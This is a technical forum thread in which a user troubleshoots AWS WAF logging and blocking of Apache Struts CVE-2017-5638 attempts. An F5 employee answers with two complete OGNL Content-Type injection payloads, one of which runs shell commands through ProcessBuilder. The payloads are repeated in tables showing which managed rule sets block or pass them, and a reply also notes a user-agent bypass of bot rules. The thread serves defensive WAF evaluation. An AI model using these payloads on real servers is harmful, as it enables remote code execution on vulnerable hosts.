Technical Forum
Ask questions. Discover Answers.
cancel
Showing results for 
Search instead for 
Did you mean: 

F5 rules for AWS WAF - F5-CVE_Managed rule group Logs

will-will
Altocumulus
Altocumulus

Hello,

I've contacted AWS support regarding the WAF and your specific rule group, and AWS suggested I reach out here for specific questions regarding the F5 managed rule. I asked the following question:

 

 

We started to get exploit attempts on our production app, and were looking at the best way to block these attempts via a WAF rule. 

This was caught from our app error checking vendor Rollbar:
ActionDispatch::Http::MimeNegotiation::InvalidType: "%{#context['com.opensymphony.xwork2.dispatcher.httpservletresponse'].addheader('gig54250'" is not a valid MIME type

ActionDispatch::Http::MimeNegotiation::InvalidType: "%{#context['com.opensymphony.xwork2.dispatcher.httpservletresponse'].addheader('5rvke1gt'" is not a valid MIME type (Most recent call first)

Exploit information:
https://blog.gdssecurity.com/labs/2017/3/27/an-analysis-of-cve-2017-5638.html 

 

 

support rep advised:

 

 

I understand you observed attack attempts in your application that are exploiting the Apache Struts vulnerability (CVE-2017-5638) and are looking for a way to block these attempts via AWS WAF. 

Kindly note that for the Apache Struts Vulnerability there is no AWS Managed rule available, however, you can make use of a marketplace rule group - "Common Vulnerabilities & Exposures (CVE) Rules" which are under "F5 managed rule groups" 

 

 


We are currently subscribed to the F5 Common Vulnerabilities & Exposures (CVE) Rules, and have all of the rules turned on "Use action defined in the rule" e.g. not set to count.  I see in CloudWatch metrics there are data points that show up for 
F5-CVE_Managed BlockedRequests, but I'm not seeing any logs in CloudWatch for that rule group. I want to be able to see more details in CloudWatch logs that corespond with the blocks in CloudWatch metrics, and it doesn't seem that this rulegroup is sending any logs to cloudwatch and only metrics. Especialy as noted from your documetation https://support.f5.com/csp/article/K21015971

 

 

Monitoring rule groups and rules

All rules and rule groups come with CloudWatch metrics that report the number of requests that matched a rule or rule group. When you use multiple rule groups, these metrics help discern which rules are being matched

 

 

Long story long, I need to be able to see in CloudWatch logs more details of what the rule group is blocking, and a query to do see that information.

Thank you!

10 REPLIES 10

Have you checked if you enabled logging in the AWS WAF ACL that sends the logs to cloudwatch?

 

https://docs.aws.amazon.com/waf/latest/developerguide/logging.html

 

 

Also note that if it is important site better go with F5 virtual edition, F5 silverline for AWS or the new F5 distributed cloud as the AWS WAF is for me simply the free open source mod_security waf for unix/linux and even with the F5 rules the AWS WAF is still just stateless old generation WAF with signatures.

 

 

Still if you chose it better in the future to send the logs with Kinesis Data Firehose to a syslog or SIEM server as Cloudwatch has capacity limit and the price to increase it is not small, so better not log the default action (if no rules are matched) as this will log just the illegal requests. There are many free open souce SIEM out there:

 

https://www.digitalocean.com/community/tutorials/how-to-build-a-siem-with-suricata-and-elastic-stack...

will-will
Altocumulus
Altocumulus

Hi @Nikoolayy1,

Thanks for the reply. Yes I can confirm that the AWS WAF ACL is enabled and sending logs to Cloudwatch. However the only logs not available (that I can tell) are specifically F5 Common Vulnerabilities & Exposures (CVE) Rules. The metrics for that rule group are available, just not the logs. Thank you for your other suggestions, and that is something to consider, but for now I'm trying to view the logs in Cloudwatch for this particular rule group.

Thank you!

Maybe check the JSON config file for AWS WAF as the Visibility config should look like the example below:

 

   "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "AWS-AWSBotControl-Example"

 

https://docs.aws.amazon.com/waf/latest/developerguide/web-acl-rule-group-settings.html

https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-wafv2-webacl-visibilit...

 

config file looks good

 

  "OverrideAction": {
    "None": {}
  },
  "VisibilityConfig": {
    "SampledRequestsEnabled": true,
    "CloudWatchMetricsEnabled": true,
    "MetricName": "F5-CVE_Managed"
  }

 

From your last comment though I was able to find some logs in cloudwatch using:

filter terminatingRuleId = "F5-CVE_Managed"

Now that I can see these logs in Cloudwatch I can check and see if the exploits are getting blocked.

Thank you for your help!

will-will
Altocumulus
Altocumulus

I was finally able to find in the log entries for the exploit attempt and it looks like that it's not matching any of the rules in the rule groups especially not by F5-CVE_Managed. Since we don't control the rules in these rule groups what can I do to make sure these attemps (Apache Struts vulnerability (CVE-2017-5638)) are blocked by the F5-CVE_Managed rule group?

Generate such an attack and the default action should be "Block" and see that it is blocked and I do not think you will need to overide it as I mentioned it should be "Block" by default. This is it, you have less control with the AWS WAF and more with F5 Advanced WAF or Nginx + with App Protect WAF as cloud native services are like this.

Hi @Nikoolayy1 , that's the thing, the attacks happen daily, but are getting allowed since they aren't getting picked up by the F5 rule. Since there is no control over the rule I wonder if there is something wrong with the rule group? How would I check?

@will-will  I think I mentioned the limitations of the AWS WAF. You overide the default action to Block just in case or write your own rule to block the attack or check with the F5 support if you can open a case but I don't know any other way and this is why I stopped trying to use the AWS WAF even with F5 rules as it is too limited.

 

 

You can still also check the version of the rules or try the F5 AWS WAF Bot protection rules (I will not even try the AWS WAF native bot rules as changing the user agent header to a known web browser I managed to bypass it when I played with it)

 

https://docs.aws.amazon.com/waf/latest/developerguide/waf-managed-rule-groups-versioning.html

 

https://aws.amazon.com/marketplace/pp/prodview-p67737yco45uq

 

 

Still outside of that you can play with nginx + app protect or the F5 distributed cloud as they are not so expensive solutions and F5 cloud has a cheap plan like 25$ that Includes WAF rules or nginx app protect has trial version and so does F5 Advanced WAF and with BIG-IQ and F5 Cloud edtion it can autoscale as a native service (you can check with the F5 sales).

 

https://www.f5.com/cloud/pricing

https://www.nginx.com/pricing/

https://www.f5.com/trials

This is what I can help you and if someone has better ideas they can share them.

Thank you @Nikoolayy1 for your advice. I think I'm going to make my own rule to block in the meantime, and open a support ticket with F5. Do you know how to open a ticket with F5 support, since they direct all support to this forum?  Maybe I have to go through AWS support and they can open a ticket with F5.

Heath_Parrott
F5 Employee
F5 Employee

Hi will-will,

As a notice since we have not seen a response from the F5 support team on the subject I have flagged this thread to them so they can look into how to address these signatures in the managed rule set.  No let's take a look at the attack you are describing and overlay that with the WAF security segment. 

The AON article references two vectors.  The first is a command injection via the Content-Type header

Vector 1

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

The second is more nuanced attempting to interact with the struts platform containers

Vector 2

${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}

We need to address both of these vectors (and permutations), and this is where it is important to understand that not all WAF engines have the same processing capabiliteis. Third party solutions, such as Advanced WAF, can leverage different broader and deeper processing capabilites.  These differences can have a profound impact on the capabilites and thuse the breadeth and depth of vulnerablilities yoru organizaiton is exposed to. 

All rule sets on AWS WAF have the same engine to apply their logic with.

We will look at three options for WAF.  

AWS Managed Rules - on AWS WAF F5 Managed Rules on AWS WAF F5 Adv. WAF

We will look at three result options

Block Flagged Pass
  • Block = Blocked by the WAF
  • Flagged = the WAF indentified the request and can notify the admin that there is risk(s)
  • Pass = the traffic will be passed to the backedn server(s)


Evaluating AWS WAF Engine with Different Rule Sets - Vector 1

 

Rule Set  Vector Result
Amazon Core Rule Set (OWASP) ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass
Amazon Known Bad Inputs ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Block
F5 Managed CVE ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass
F5 Managed OWASP ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass

 

Evaluating AWS WAF Engine with Different Rule Sets - Vector 2

 

Rule Set Vector  Result
Amazon Core Rule Set (OWASP) ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass
Amazon Known Bad Inputs ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass
F5 Managed CVE ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass
F5 Managed OWASP ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass

 

Evaulting F5 Advanced WAF - Vector 1 and Vector 2

WAF    
F5 Advanced WAF Vector 1 -
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Block
F5 Advanced WAF Vector 2 -
${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}
Flag

 

 I hope this helps.